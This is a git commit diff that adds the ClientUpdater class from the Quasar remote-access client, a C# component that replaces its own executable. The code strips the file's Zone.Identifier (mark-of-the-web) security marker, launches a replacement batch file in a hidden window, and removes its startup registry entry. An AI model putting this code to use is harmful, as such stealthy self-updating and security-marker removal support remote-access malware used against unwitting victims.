initial commit
This commit is contained in:
@@ -0,0 +1,38 @@
|
||||
using Quasar.Client.Config;
|
||||
using Quasar.Client.IO;
|
||||
using Quasar.Common.Helpers;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Setup
|
||||
{
|
||||
public class ClientUpdater : ClientSetupBase
|
||||
{
|
||||
public void Update(string newFilePath)
|
||||
{
|
||||
FileHelper.DeleteZoneIdentifier(newFilePath);
|
||||
|
||||
var bytes = File.ReadAllBytes(newFilePath);
|
||||
if (!FileHelper.HasExecutableIdentifier(bytes))
|
||||
throw new Exception("No executable file.");
|
||||
|
||||
string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath);
|
||||
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
UseShellExecute = true,
|
||||
FileName = batchFile
|
||||
};
|
||||
Process.Start(startInfo);
|
||||
|
||||
if (Settings.STARTUP)
|
||||
{
|
||||
var clientStartup = new ClientStartup();
|
||||
clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user